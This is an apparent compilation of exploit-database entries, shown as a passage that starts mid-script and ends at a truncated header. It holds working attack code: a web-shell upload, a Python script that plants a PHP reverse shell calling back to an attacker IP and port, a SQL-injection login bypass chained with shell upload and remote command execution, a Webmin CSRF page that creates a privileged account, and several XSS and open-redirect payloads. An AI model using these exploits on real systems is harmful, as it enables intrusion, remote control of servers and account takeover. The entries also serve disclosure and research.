reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"dlg-upload-notes\"\r\n\r\n\r\n-----------------------------37032792112149247252673711332\r\nContent-Disposition: form-data; name=\"sp-cdm-community-upload\"\r\n\r\nUpload\r\n-----------------------------37032792112149247252673711332--\r\n"

# Exploit:
session.post(exploit_url, headers=header, data=shell_payload)
print('')
print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/sp-client-document-manager/' + user_id + '/shell.php')
print('')
            
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated)
# Date: 2021-07-07
# Exploit Author: faisalfs10x
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP


"""
################
# Description  #
################

1. The admin panel UI login can be assessed at http://{ip}/scheduler/admin/login.php. Due to the client-side input validation implemented within scripts, it is possible to bypass and access the admin panel UI by making request to "http://localhost/scheduler/admin/?page=user" and removing the javascript tag '<script>location.href="http://localhost/scheduler/admin/login.php"</script>' in the server response body. 
For making the process easier, we can use burp "Match and Replace" option to automatically replace the javascript tag parts of responses body passing through the proxy.
2. The admin panel has an upload function of profile photo accessible at http://localhost/scheduler/admin/?page=user. An attacker could upload a malicious file such as shell.php with the Content-Type: image/png. Then, the attacker have to visit the uploaded profile photo to access the shell.


#####################
# PoC for webshell  #
#####################

Request:
========

POST /scheduler/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 721
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scheduler/admin/?page=user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=a5d66tonur7vir28rtoc049127
Connection: close

------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="id"

1
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="firstname"

Adminstrator
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="lastname"

Admin
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="img"; filename="rev.php"
Content-Type: image/png

<?php echo "output: ";system($_GET['rev']); ?> # shell content here
------WebKitFormBoundaryYrg9YZykFY2bmNqY--


####################
# Webshell access: #
####################

# Webshell access via:
PoC: http://localhost/scheduler/uploads/{random_number}_rev.php?rev=whoami

# Output:
output: windows10/user

"""

##################################################
# Reverse shell exploit code for windows target: #
##################################################

#!/usr/bin/python

import requests
import sys
import string
import random
import urllib.request
from requests_html import HTMLSession

if len(sys.argv) < 4:
    print('\033[1;32;40m [+] Usage: python3 '+sys.argv[0]+' <target_ip> <attacker_ip> <attacker_port>')
    exit()

RHOST = sys.argv[1]
RPORT = '80'

LHOST = sys.argv[2]
LPORT = sys.argv[3]

if not RHOST.startswith('http://') and not RHOST.startswith('https://'):
    RHOST = "http://" + RHOST

# if not RHOST.endswith('/'):
#     RHOST = RHOST + "/"

# RHOST = '127.0.0.1'
# RPORT = '80'
# LHOST = '192.168.8.117'
# LPORT = '4444'

shellpath = f"{RHOST}:{RPORT}/scheduler/uploads/" # shell will be uploaded here

let = string.ascii_lowercase
shellfilename = ''.join(random.choice(let) for i in range(5))+".php" # or just static shellfilename = 'rev.php'

req_url = f"{RHOST}:{RPORT}/scheduler/classes/Users.php?f=save" # endpoint for uploading shell

req_headers = {"sec-ch-ua": "\"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"", 
"Accept": "*/*", 
"X-Requested-With": "XMLHttpRequest", 
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", 
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY",
"Accept-Language": "en-US,en;q=0.9", 
"Connection": "close"}

req_data = "------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellfilename+"\"\r\nContent-Type: image/png\r\n\r\n<?php\r\n\r\nheader('Content-type: text/plain');\r\n$ip   = \""+LHOST+"\"; \r\n$port = \""+LPORT+"\"; \r\n$payload = \"7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWh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PRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=\";\r\n$evalCode = gzinflate(base64_decode($payload));\r\n$evalArguments = \" \".$port.\" \".$ip;\r\n$tmpdir =\"C:\\\\windows\\\\temp\";\r\nchdir($tmpdir);\r\n$res .= \"Using dir : \".$tmpdir;\r\n$filename = \"rev.exe\";\r\n$file = fopen($filename, 'wb');\r\nfwrite($file, $evalCode);\r\nfclose($file);\r\n$path = $filename;\r\n$cmd = $path.$evalArguments;\r\n$res .= \"\\n\\nExecuting : \".$cmd.\"\\n\";\r\necho $res;\r\n$output = system($cmd);\r\n\t\t\t\r\n?>\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY--\r\n"

print("\033[1;33;40m Uploading shell...")
out = requests.post(req_url, headers=req_headers, data=req_data, verify=False)

print("\033[1;31;40m Uploaded shell will be available at "+shellpath+"")
print(" Enjoy!")

# finding the uploaded shell
session = HTMLSession()
r = session.get(shellpath)
sel = 'a[href*="'+shellfilename+'"]'
find_shellfilename = r.html.find(sel)

# popping up the shell :p
for shellname in find_shellfilename:
    try:
        url = shellname.absolute_links.pop()
        print("\033[1;33;40m Shell is available at "+url+"")
        response = urllib.request.urlopen(url)
        print(" Byeee!")
    except KeyboardInterrupt:
        exit('User aborted!')
            
# Exploit Title: Church Management System 1.0 - SQL Injection (Authentication Bypass) + Arbitrary File Upload + RCE
# Date: 05-07-2021
# Exploit Author: Eleonora Guardini (eleguardini93 at gmail dot com or eleonora.guardini at dedagroup dot com)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested On: Ubuntu 18.04 with apache2 2.4.29 (Ubuntu)

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import os, sys
import argparse
import optparse
import string

if len(sys.argv)!=5:
    print('Usage: -u http://<ip> -c <"command">')
    print('ex. python3 http://192.168.1.2 -c "ls+-la"')
    exit()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url")
parser.add_option('-c', '--cmd', action="store", dest="cmd")
options,args=parser.parse_args()

print(options.url, options.cmd)
print(len(sys.argv))

def randomGen(size=8, chars=string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

urlbase=options.url+'/cman/admin';
loginUrl=urlbase+'/index.php';

shellFile=randomGen()+".php"

payload={"username":"test", "password":"' or 'a'='a'#", "login":""};

proxies = { "http": "http://localhost:8080"}

mp_encoder = MultipartEncoder(fields = {
    "image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
    "change":""})

session=requests.Session()
r=session.post(loginUrl, payload, allow_redirects=False) #, proxies=proxies)
cookie=r.headers["Set-Cookie"]

headers = {"Cookie": cookie, 'Content-Type':mp_encoder.content_type}

uploadUrl=urlbase+"/admin_pic.php"

post=session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)

os.system("curl " + urlbase + "/uploads/" + shellFile + "?cmd="+ options.cmd)
            
# Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)
# Date: 05/21/2019
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93
# CVE : CVE-2019-0221

# Requirements:

# SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default.

# A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application.

# The file must be accessible.



# Proof of Concept:

# Install a Java Runtime Environment (JRE)

# Download a vulnerable version of Tomcat and extract the contents

# Modify line 19 of the conf\context.xml file to globally enable privileged context
Context privileged="true">

# Modify conf\web.xml to enable the SSI Servlet as per the Apache Tomcat User Guide

# Put the following code in "webapps/ROOT/ssi/printenv.shtml"
<html>
  <body>
    Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/>
    Printenv: <!-- #printenv -->
  </body>
</html>

# Run Tomcat
cd bin
catalina run

# Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properly
http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E
            
# Exploit Title: Apache Tomcat 9.0.0.M1 - Open Redirect
# Date: 10/04/2018
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.11, 8.5.0 to 8.5.33, and 7.0.23 to 7.0.90
# CVE : CVE-2018-11784

# Proof of Concept:

# Identify a subfolder within your application
http://example.com/test/

# Modify the URL to include at least 2 leading slashes before the subfolder and no trailing slash
http://example.com//test

# Browse to the newly created URL and the application will perform a redirection
http://test/
            
# Exploit Title: Zoo Management System 1.0 - 'Multiple' Stored Cross-Site-Scripting (XSS)
# Date: 08/07/2021
# Exploit Author: Subhadip Nag
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/zoo-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Server: XAMPP

# Description #

Zoo Management System 1.0 is vulnerable to 'Multiple' stored cross site scripting because of insufficient user supplied data.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/ZMSP/zms/admin/index.php  and  Login(given User & password)
2) Goto: http://localhost/ZMSP/zms/admin/add-animals.php
3) Fill out Animal name, Breed and Description with given payload: <script>alert(1)</script>
4) Goto: http://localhost/ZMSP/zms/admin/manage-animals.php
5) Stored XSS payload is fired

6) Goto: http://localhost/ZMSP/zms/admin/manage-ticket.php
7) Edit any Action field with the following payload: <script>alert(1)</script> and Update
8) Go back and again click 'Manage Type Ticket'
9) Stored XSS payload is fired

10) Goto: http://localhost/ZMSP/zms/admin/aboutus.php 
11) In the Page 'Title' & 'Description',Enter the Payload: <script>alert(1)</script> and Click Update

12) Goto: http://localhost/ZMSP/zms/admin/contactus.php
13) Put the Same Payload in the Page 'Title' & 'Description' and Click Update 
14) Logout and click 'Back Home'
15) Our XSS payload successful
  

# Image PoC : Reference Image #

1) https://ibb.co/g4hFQDV
2) https://ibb.co/frbpf9c
3) https://ibb.co/NtKrc9C
4) https://ibb.co/cFGWhCz
4) https://ibb.co/CMXmN4f
5) https://ibb.co/C0dV0PC
6) https://ibb.co/4ZW8tb3
7) https://ibb.co/3zgFq9b
8) https://ibb.co/wS8wXj8
            
# Exploit Title: WordPress Plugin WPFront Notification Bar 1.9.1.04012 - Stored Cross-Site Scripting (XSS)
# Date: 11/07/2021
# Exploit Author: Swapnil Subhash Bodekar
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/wpfront-notification-bar/
# Version:  1.9.1.04012
# Tested on Windows
# Category: Web Application

How to reproduce vulnerability:

1. Install WordPress 5.7.2
2. Install and activate  *WPFront Notification Bar* plugin.

3. Navigate to *WPFront Notification Bar *>> Setting >> notification bar and
fill the required data and enter the below-mentioned payload into the Custom
CSS user input field.

</textarea><script>prompt(1)</script>

5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality in that time
JavaScript payload is executing successfully and we are getting a pop-up.
            
# Exploit Title: Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 12 July 2021
# Exploit Author: Subhadip Nag (mrl0s3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14858/invoice-system-using-phpoop-free-source-code.html
# Tested on: Server: XAMPP


# Description #

Invoice System 1.0 is vulnerable to 'Multiple 'stored cross site scripting (xss) in the Settings option because of insufficient user supplied data.
When anyone visits any other option like(Dashboard,Invoice,Category,Service,Product and also Settings option, our payload will respond as well, and when anyone again Login as Admin the payload works the same as well.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/simple_invoice/admin/login.php
2) Login: Login as a Admin for given credentials: admin | admin123
3) Goto: Settings option
4) In the System Name & Short Name, Enter the payload:
<script>+-+-1-+-+alert(1)</script>
5) Click Update
6) our XSS attack fired and Stored
7) Wherever we are clicked in any options, noticed that our Payload responding us

8) Goto: http://localhost/simple_invoice/admin/?page=service
9) Click Create New
10) In the Name and Description field, enter the payload:
<<SCRIPT>alert("XSS");//<</SCRIPT>
11) Our XSS attack Successful

12) Goto: http://localhost/simple_invoice/admin/?page=invoice
13) Click Create New
14) In the Customer Name, Unit, Remarks, enter the payload:
<script>alert(1)</script>
15) Our XSS attack Successful


# PoC image
1) https://ibb.co/JpYdZ4F
2) https://ibb.co/brm00dF
3) https://ibb.co/3crYLSZ
4) https://ibb.co/N9m6fy0
5) https://ibb.co/HGNSJDN
6) https://ibb.co/7tyFY1P
7) https://ibb.co/gZ0BvjB
8) https://ibb.co/2S9J6Xn
            
# Exploit Title: Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: *Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE : CVE-2021-31762
# POC: https://youtu.be/qCvEXwyaF5U


import time, subprocess

print('''\033[1;37m

 __  __           _     ____  _          _________  _     _            _    
|  \/  |         | |   |___ \| |        |___  / _ \| |   | |          | |   
| \  / | ___  ___| |__   __) | |           / / | | | | __| |_   _  ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| |          / /| | | | |/ _` | | | |/ __| |/ /
| |  | |  __/\__ \ | | |___) | |  _ _    / /_| |_| | | (_| | |_| | (__|   < 
|_|  |_|\___||___/_| |_|____/|_| (_|_)  /_____\___/|_|\__,_|\__, |\___|_|\_/
                                                             __/ |          
                                                            |___/           

    \033[1;m''')

for i in range(101):
    print(
        "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m )  & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m  ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
            i), "\033[1;36m%\033[1;m", end="")
    time.sleep(0.02)
print("\n\n")

target = input(
    "\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")

if target.endswith('/'):
    target = target + 'acl/save_user.cgi'
else:
    target = target + '/acl/save_user.cgi'


def CSRF_Generator():
    with open('CSRF_POC.html', 'w') as POC:
        POC.write \
            ('''

<html>
        <head>
            <meta name="referrer" content="never">
        </head>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="'''+target+'''" method="POST">
      <input type="hidden" name="safe" value="" />
      <input type="hidden" name="name" value="Mesh3l&#95;Z0ldyck" />
      <input type="hidden" name="pass&#95;def" value="0" />
      <input type="hidden" name="pass" value="Mesh3l&#95;Z0ldyck123" />
      <input type="hidden" name="real" value="Mesh3l&#95;Z0ldyck" />
      <input type="hidden" name="cert&#95;def" value="1" />
      <input type="hidden" name="lang&#95;def" value="1" />
      <input type="hidden" name="lang" value="af" />
      <input type="hidden" name="notabs" value="0" />
      <input type="hidden" name="theme&#95;def" value="1" />
      <input type="hidden" name="theme" value="" />
      <input type="hidden" name="overlay&#95;def" value="1" />
      <input type="hidden" name="overlay" value="overlay&#45;theme" />
      <input type="hidden" name="logouttime&#95;def" value="1" />
      <input type="hidden" name="minsize&#95;def" value="1" />
      <input type="hidden" name="ipmode" value="0" />
      <input type="hidden" name="ips" value="" />
      <input type="hidden" name="days&#95;def" value="1" />
      <input type="hidden" name="hours&#95;def" value="1" />
      <input type="hidden" name="hours&#95;hfrom" value="" />
      <input type="hidden" name="hours&#95;mfrom" value="" />
      <input type="hidden" name="hours&#95;hto" value="" />
      <input type="hidden" name="hours&#95;mto" value="" />
      <input type="hidden" name="mod" value="backup&#45;config" />
      <input type="hidden" name="mod" value="change&#45;user" />
      <input type="hidden" name="mod" value="webmincron" />
      <input type="hidden" name="mod" value="usermin" />
      <input type="hidden" name="mod" value="webminlog" />
      <input type="hidden" name="mod" value="webmin" />
      <input type="hidden" name="mod" value="help" />
      <input type="hidden" name="mod" value="servers" />
      <input type="hidden" name="mod" value="acl" />
      <input type="hidden" name="mod" value="bacula&#45;backup" />
      <input type="hidden" name="mod" value="init" />
      <input type="hidden" name="mod" value="passwd" />
      <input type="hidden" name="mod" value="quota" />
      <input type="hidden" name="mod" value="mount" />
      <input type="hidden" name="mod" value="fsdump" />
      <input type="hidden" name="mod" value="ldap&#45;client" />
      <input type="hidden" name="mod" value="ldap&#45;useradmin" />
      <input type="hidden" name="mod" value="logrotate" />
      <input type="hidden" name="mod" value="mailcap" />
      <input type="hidden" name="mod" value="mon" />
      <input type="hidden" name="mod" value="pam" />
      <input type="hidden" name="mod" value="certmgr" />
      <input type="hidden" name="mod" value="proc" />
      <input type="hidden" name="mod" value="at" />
      <input type="hidden" name="mod" value="cron" />
      <input type="hidden" name="mod" value="sentry" />
      <input type="hidden" name="mod" value="man" />
      <input type="hidden" name="mod" value="syslog" />
      <input type="hidden" name="mod" value="syslog&#45;ng" />
      <input type="hidden" name="mod" value="system&#45;status" />
      <input type="hidden" name="mod" value="useradmin" />
      <input type="hidden" name="mod" value="apache" />
      <input type="hidden" name="mod" value="bind8" />
      <input type="hidden" name="mod" value="pserver" />
      <input type="hidden" name="mod" value="dhcpd" />
      <input type="hidden" name="mod" value="dhcp&#45;dns" />
      <input type="hidden" name="mod" value="dovecot" />
      <input type="hidden" name="mod" value="exim" />
      <input type="hidden" name="mod" value="fetchmail" />
      <input type="hidden" name="mod" value="foobar" />
      <input type="hidden" name="mod" value="frox" />
      <input type="hidden" name="mod" value="jabber" />
      <input type="hidden" name="mod" value="ldap&#45;server" />
      <input type="hidden" name="mod" value="majordomo" />
      <input type="hidden" name="mod" value="htpasswd&#45;file" />
      <input type="hidden" name="mod" value="minecraft" />
      <input type="hidden" name="mod" value="mysql" />
      <input type="hidden" name="mod" value="openslp" />
      <input type="hidden" name="mod" value="postfix" />
      <input type="hidden" name="mod" value="postgresql" />
      <input type="hidden" name="mod" value="proftpd" />
      <input type="hidden" name="mod" value="procmail" />
      <input type="hidden" name="mod" value="qmailadmin" />
      <input type="hidden" name="mod" value="mailboxes" />
      <input type="hidden" name="mod" value="sshd" />
      <input type="hidden" name="mod" value="samba" />
      <input type="hidden" name="mod" value="sendmail" />
      <input type="hidden" name="mod" value="spam" />
      <input type="hidden" name="mod" value="squid" />
      <input type="hidden" name="mod" value="sarg" />
      <input type="hidden" name="mod" value="wuftpd" />
      <input type="hidden" name="mod" value="webalizer" />
      <input type="hidden" name="mod" value="link" />
      <input type="hidden" name="mod" value="adsl&#45;client" />
      <input type="hidden" name="mod" value="bandwidth" />
      <input type="hidden" name="mod" value="fail2ban" />
      <input type="hidden" name="mod" value="firewalld" />
      <input type="hidden" name="mod" value="ipsec" />
      <input type="hidden" name="mod" value="krb5" />
      <input type="hidden" name="mod" value="firewall" />
      <input type="hidden" name="mod" value="firewall6" />
      <input type="hidden" name="mod" value="exports" />
      <input type="hidden" name="mod" value="exports&#45;nfs4" />
      <input type="hidden" name="mod" value="xinetd" />
      <input type="hidden" name="mod" value="inetd" />
      <input type="hidden" name="mod" value="pap" />
      <input type="hidden" name="mod" value="ppp&#45;client" />
      <input type="hidden" name="mod" value="pptp&#45;client" />
      <input type="hidden" name="mod" value="pptp&#45;server" />
      <input type="hidden" name="mod" value="stunnel" />
      <input type="hidden" name="mod" value="shorewall" />
      <input type="hidden" name="mod" value="shorewall6" />
      <input type="hidden" name="mod" value="itsecur&#45;firewall" />
      <input type="hidden" name="mod" value="tcpwrappers" />
      <input type="hidden" name="mod" value="idmapd" />
      <input type="hidden" name="mod" value="filter" />
      <input type="hidden" name="mod" value="burner" />
      <input type="hidden" name="mod" value="grub" />
      <input type="hidden" name="mod" value="lilo" />
      <input type="hidden" name="mod" value="raid" />
      <input type="hidden" name="mod" value="lvm" />
      <input type="hidden" name="mod" value="fdisk" />
      <input type="hidden" name="mod" value="lpadmin" />
      <input type="hidden" name="mod" value="smart&#45;status" />
      <input type="hidden" name="mod" value="time" />
      <input type="hidden" name="mod" value="vgetty" />
      <input type="hidden" name="mod" value="iscsi&#45;client" />
      <input type="hidden" name="mod" value="iscsi&#45;server" />
      <input type="hidden" name="mod" value="iscsi&#45;tgtd" />
      <input type="hidden" name="mod" value="iscsi&#45;target" />
      <input type="hidden" name="mod" value="cluster&#45;passwd" />
      <input type="hidden" name="mod" value="cluster&#45;copy" />
      <input type="hidden" name="mod" value="cluster&#45;cron" />
      <input type="hidden" name="mod" value="cluster&#45;shell" />
      <input type="hidden" name="mod" value="cluster&#45;shutdown" />
      <input type="hidden" name="mod" value="cluster&#45;usermin" />
      <input type="hidden" name="mod" value="cluster&#45;useradmin" />
      <input type="hidden" name="mod" value="cluster&#45;webmin" />
      <input type="hidden" name="mod" value="cfengine" />
      <input type="hidden" name="mod" value="heartbeat" />
      <input type="hidden" name="mod" value="shell" />
      <input type="hidden" name="mod" value="custom" />
      <input type="hidden" name="mod" value="disk&#45;usage" />
      <input type="hidden" name="mod" value="export&#45;test" />
      <input type="hidden" name="mod" value="ftelnet" />
      <input type="hidden" name="mod" value="filemin" />
      <input type="hidden" name="mod" value="flashterm" />
      <input type="hidden" name="mod" value="tunnel" />
      <input type="hidden" name="mod" value="file" />
      <input type="hidden" name="mod" value="phpini" />
      <input type="hidden" name="mod" value="cpan" />
      <input type="hidden" name="mod" value="htaccess&#45;htpasswd" />
      <input type="hidden" name="mod" value="telnet" />
      <input type="hidden" name="mod" value="ssh" />
      <input type="hidden" name="mod" value="ssh2" />
      <input type="hidden" name="mod" value="shellinabox" />
      <input type="hidden" name="mod" value="status" />
      <input type="hidden" name="mod" value="ajaxterm" />
      <input type="hidden" name="mod" value="updown" />
      <input type="hidden" name="mod" value="vnc" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


    ''')
    POC.close()

    print(
        "\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m")



def main():
    CSRF_Generator()


if __name__ == '__main__':
    main()
            
# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload
# Date: 05-07-2021
# Exploit Author: Luca Bernardi - bernardiluca.job at protonmail.com | luca.bernardi at dedagroup.it
